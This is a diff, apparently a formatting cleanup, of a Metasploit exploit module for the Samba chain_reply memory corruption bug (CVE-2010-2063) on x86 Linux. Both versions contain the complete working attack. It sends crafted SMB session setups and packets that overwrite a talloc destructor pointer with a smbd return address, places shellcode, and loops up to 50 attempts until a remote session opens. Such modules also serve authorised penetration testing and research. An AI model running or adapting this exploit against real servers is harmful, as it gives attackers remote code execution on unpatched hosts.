@@ -10,83 +10,90 @@ class MetasploitModule < Msf::Exploit::Remote
1010 include Msf ::Exploit ::Brute
1111
1212 def initialize ( info = { } )
13- super ( update_info ( info ,
14- 'Name' => 'Samba chain_reply Memory Corruption (Linux x86)' ,
15- 'Description' => %q{
13+ super (
14+ update_info (
15+ info ,
16+ 'Name' => 'Samba chain_reply Memory Corruption (Linux x86)' ,
17+ 'Description' => %q{
1618 This exploits a memory corruption vulnerability present in Samba versions
17- prior to 3.3.13. When handling chained response packets, Samba fails to validate
18- the offset value used when building the next part. By setting this value to a
19- number larger than the destination buffer size, an attacker can corrupt memory.
20- Additionally, setting this value to a value smaller than 'smb_wct' (0x24) will
21- cause the header of the input buffer chunk to be corrupted.
22-
23- After close inspection, it appears that 3.0.x versions of Samba are not
24- exploitable. Since they use an "InputBuffer" size of 0x20441, an attacker cannot
25- cause memory to be corrupted in an exploitable way. It is possible to corrupt the
26- heap header of the "InputBuffer", but it didn't seem possible to get the chunk
27- to be processed again prior to process exit.
28-
29- In order to gain code execution, this exploit attempts to overwrite a "talloc
30- chunk" destructor function pointer.
31-
32- This particular module is capable of exploiting the flaw on x86 Linux systems
33- that do not have the nx memory protection.
34-
35- NOTE: It is possible to make exploitation attempts indefinitely since Samba forks
36- for user sessions in the default configuration.
37- } ,
38- 'Author' =>
39- [
40- 'Jun Mao' , #Initial discovery
19+ prior to 3.3.13. When handling chained response packets, Samba fails to validate
20+ the offset value used when building the next part. By setting this value to a
21+ number larger than the destination buffer size, an attacker can corrupt memory.
22+ Additionally, setting this value to a value smaller than 'smb_wct' (0x24) will
23+ cause the header of the input buffer chunk to be corrupted.
24+
25+ After close inspection, it appears that 3.0.x versions of Samba are not
26+ exploitable. Since they use an "InputBuffer" size of 0x20441, an attacker cannot
27+ cause memory to be corrupted in an exploitable way. It is possible to corrupt the
28+ heap header of the "InputBuffer", but it didn't seem possible to get the chunk
29+ to be processed again prior to process exit.
30+
31+ In order to gain code execution, this exploit attempts to overwrite a "talloc
32+ chunk" destructor function pointer.
33+
34+ This particular module is capable of exploiting the flaw on x86 Linux systems
35+ that do not have the nx memory protection.
36+
37+ NOTE: It is possible to make exploitation attempts indefinitely since Samba forks
38+ for user sessions in the default configuration.
39+ } ,
40+ 'Author' => [
41+ 'Jun Mao' , # Initial discovery
4142 'jduck'
4243 ] ,
43- 'License' => MSF_LICENSE ,
44- 'References' =>
45- [
44+ 'License' => MSF_LICENSE ,
45+ 'References' => [
4646 [ 'CVE' , '2010-2063' ] ,
4747 [ 'OSVDB' , '65518' ] ,
4848 [ 'URL' , 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=873' ]
4949 ] ,
50- 'Privileged' => true ,
51- 'Payload' =>
52- {
53- 'Space' => 0x600 ,
54- 'BadChars' => "" ,
50+ 'Privileged' => true ,
51+ 'Payload' => {
52+ 'Space' => 0x600 ,
53+ 'BadChars' => ''
5554 } ,
56- 'Platform' => 'linux' ,
57- 'Targets' =>
58- [
59- [ 'Linux (Debian5 3.2.5-4lenny6)' ,
55+ 'Platform' => 'linux' ,
56+ 'Targets' => [
57+ [
58+ 'Linux (Debian5 3.2.5-4lenny6)' ,
6059 {
61- 'Offset2' => 0x1fec ,
62- 'Bruteforce' =>
60+ 'Offset2' => 0x1fec ,
61+ 'Bruteforce' =>
6362 {
6463 'Start' => { 'Ret' => 0x081ed5f2 } , # jmp ecx (smbd bin)
65- 'Stop' => { 'Ret' => 0x081ed5f2 } ,
66- 'Step' => 0x300 # not used
64+ 'Stop' => { 'Ret' => 0x081ed5f2 } ,
65+ 'Step' => 0x300 # not used
6766 }
6867 }
6968 ] ,
70-
71- [ 'Debugging Target' ,
69+ [
70+ 'Debugging Target' ,
7271 {
73- 'Offset2' => 0x1fec ,
74- 'Bruteforce' =>
72+ 'Offset2' => 0x1fec ,
73+ 'Bruteforce' =>
7574 {
7675 'Start' => { 'Ret' => 0xAABBCCDD } ,
77- 'Stop' => { 'Ret' => 0xAABBCCDD } ,
78- 'Step' => 0x300
76+ 'Stop' => { 'Ret' => 0xAABBCCDD } ,
77+ 'Step' => 0x300
7978 }
8079 }
8180 ] ,
8281 ] ,
83- 'DefaultTarget' => 0 ,
84- 'DisclosureDate' => '2010-06-16' ) )
82+ 'DefaultTarget' => 0 ,
83+ 'DisclosureDate' => '2010-06-16' ,
84+ 'Notes' => {
85+ 'Stability' => [ CRASH_SERVICE_RESTARTS ] ,
86+ 'SideEffects' => [ IOC_IN_LOGS ] ,
87+ 'Reliability' => [ UNRELIABLE_SESSION ]
88+ }
89+ )
90+ )
8591
8692 register_options (
8793 [
8894 Opt ::RPORT ( 139 )
89- ] )
95+ ]
96+ )
9097
9198 deregister_options ( 'SMB::ProtocolVersion' )
9299 end
@@ -97,11 +104,10 @@ def initialize(info = {})
97104 # Authenticate using clear-text passwords
98105 #
99106 def session_setup_clear_ignore_response ( user = '' , pass = '' , domain = '' )
100-
101- data = [ pass , user , domain , self . simple . client . native_os , self . simple . client . native_lm ] . collect { |a | a + "\x00 " } . join ( '' ) ;
107+ data = [ pass , user , domain , simple . client . native_os , simple . client . native_lm ] . collect { |a | a + "\x00 " } . join ( '' )
102108
103109 pkt = CONST ::SMB_SETUP_LANMAN_PKT . make_struct
104- self . simple . client . smb_defaults ( pkt [ 'Payload' ] [ 'SMB' ] )
110+ simple . client . smb_defaults ( pkt [ 'Payload' ] [ 'SMB' ] )
105111
106112 pkt [ 'Payload' ] [ 'SMB' ] . v [ 'Command' ] = CONST ::SMB_COM_SESSION_SETUP_ANDX
107113 pkt [ 'Payload' ] [ 'SMB' ] . v [ 'Flags1' ] = 0x18
@@ -113,101 +119,97 @@ def session_setup_clear_ignore_response(user = '', pass = '', domain = '')
113119 pkt [ 'Payload' ] . v [ 'VCNum' ] = 1
114120 pkt [ 'Payload' ] . v [ 'PasswordLen' ] = pass . length + 1
115121 pkt [ 'Payload' ] . v [ 'Capabilities' ] = 64
116- pkt [ 'Payload' ] . v [ 'SessionKey' ] = self . simple . client . session_id
122+ pkt [ 'Payload' ] . v [ 'SessionKey' ] = simple . client . session_id
117123 pkt [ 'Payload' ] . v [ 'Payload' ] = data
118124
119- self . simple . client . smb_send ( pkt . to_s )
120- ack = self . simple . client . smb_recv_parse ( CONST ::SMB_COM_SESSION_SETUP_ANDX , true )
125+ simple . client . smb_send ( pkt . to_s )
126+ simple . client . smb_recv_parse ( CONST ::SMB_COM_SESSION_SETUP_ANDX , true )
121127 end
122128
123-
124129 def brute_exploit ( addrs )
125-
126130 curr_ret = addrs [ 'Ret' ]
127131
128132 # Although ecx always points at our buffer, sometimes the heap data gets modified
129133 # and nips off the final byte of our 5 byte jump :(
130134 #
131135 # Solution: try repeatedly until we win.
132136 #
133- 50 . times {
134-
137+ 50 . times do
135138 begin
136- print_status ( " Trying return address 0x%.8x..." % curr_ret )
139+ print_status ( ' Trying return address 0x%.8x...' % curr_ret )
137140
138141 connect ( versions : [ 1 ] )
139- self . simple . client . session_id = rand ( 31337 )
142+ simple . client . session_id = rand ( 31337 )
140143
141- #select(nil,nil,nil,2)
142- #puts "press any key"; $stdin.gets
144+ # select(nil,nil,nil,2)
145+ # puts "press any key"; $stdin.gets
143146
144147 #
145148 # This allows us to allocate a talloc_chunk after the input buffer.
146149 # If doing so fails, we are lost ...
147150 #
148- 10 . times {
151+ 10 . times do
149152 session_setup_clear_ignore_response ( '' , '' , '' )
150- }
153+ end
151154
152155 # We re-use a pointer from the stack and jump back to our original "inbuf"
153156 distance = target [ 'Offset2' ] - 0x80
154157 jmp_back = Metasm ::Shellcode . assemble ( Metasm ::Ia32 . new , "jmp $-#{ distance } " ) . encode_string
155158
156159 tlen = 0xc00
157160 trans =
158- "\x00 \x04 " +
159- "\x08 \x20 " +
160- "\xff " + " SMB" +
161+ "\x00 \x04 " \
162+ "\x08 \x20 " \
163+ "\xff " + ' SMB' +
161164 # SMBlogoffX
162165 [ 0x74 ] . pack ( 'V' ) +
163166 # tc->next, tc->prev
164167 jmp_back + ( "\x42 " * 3 ) +
165- #("A" * 4) + ("B" * 4) +
168+ # ("A" * 4) + ("B" * 4) +
166169 # tc->parent, tc->child
167- " CCCCDDDD" +
170+ ' CCCCDDDD' +
168171 # tc->refs, must be zero
169172 ( "\x00 " * 4 ) +
170173 # over writes tc->destructor
171174 [ addrs [ 'Ret' ] ] . pack ( 'V' ) +
172- "\x00 \x00 \x00 \x00 " +
173- "\xd0 \x07 \x0c \x00 " +
174- "\xd0 \x07 \x0c \x00 " +
175- "\x00 \x00 \x00 \x00 " +
176- "\x00 \x00 \x00 \x00 " +
177- "\x00 \x00 \xd0 \x07 " +
178- "\x43 \x00 \x0c \x00 " +
179- "\x14 \x08 \x01 \x00 " +
180- "\x00 \x00 \x00 \x00 " +
181- "\x00 \x00 \x00 \x00 " +
182- "\x00 \x00 \x00 \x00 " +
183- "\x00 \x00 \x00 \x00 " +
184- "\x00 \x00 \x00 \x00 " +
185- "\x00 \x00 \x00 \x00 " +
186- "\x00 \x00 \x00 \x00 " +
175+ "\x00 \x00 \x00 \x00 " \
176+ "\xd0 \x07 \x0c \x00 " \
177+ "\xd0 \x07 \x0c \x00 " \
178+ "\x00 \x00 \x00 \x00 " \
179+ "\x00 \x00 \x00 \x00 " \
180+ "\x00 \x00 \xd0 \x07 " \
181+ "\x43 \x00 \x0c \x00 " \
182+ "\x14 \x08 \x01 \x00 " \
183+ "\x00 \x00 \x00 \x00 " \
184+ "\x00 \x00 \x00 \x00 " \
185+ "\x00 \x00 \x00 \x00 " \
186+ "\x00 \x00 \x00 \x00 " \
187+ "\x00 \x00 \x00 \x00 " \
188+ "\x00 \x00 \x00 \x00 " \
189+ "\x00 \x00 \x00 \x00 " \
187190 "\x00 \x00 \x90 "
188191
189- # We put the shellcode first, since only part of this packet makes it into memory.
190- trans << payload . encoded
191- trans << rand_text ( tlen - trans . length )
192+ # We put the shellcode first, since only part of this packet makes it into memory.
193+ trans << payload . encoded
194+ trans << rand_text ( tlen - trans . length )
192195
193- # Set what eventually becomes 'smb_off2' to our unvalidated offset value.
194- smb_off2 = target [ 'Offset2' ]
195- trans [ 39 , 2 ] = [ smb_off2 ] . pack ( 'v' )
196+ # Set what eventually becomes 'smb_off2' to our unvalidated offset value.
197+ smb_off2 = target [ 'Offset2' ]
198+ trans [ 39 , 2 ] = [ smb_off2 ] . pack ( 'v' )
196199
197- sock . put ( trans )
198-
199- rescue EOFError
200- # nothing
201- rescue => e
202- print_error ( "#{ e } " )
203- end
200+ sock . put ( trans )
201+ rescue EOFError => e
202+ vprint_error ( e . message )
203+ rescue StandardError => e
204+ print_error ( e . to_s )
205+ end
204206
205- handler
206- disconnect
207+ handler
208+ disconnect
207209
208- # See if we won yet..
209- select ( nil , nil , nil , 1 )
210- break if session_created?
211- }
210+ # See if we won yet..
211+ select ( nil , nil , nil , 1 )
212+ break if session_created?
213+ end
212214 end
213215end
0 commit comments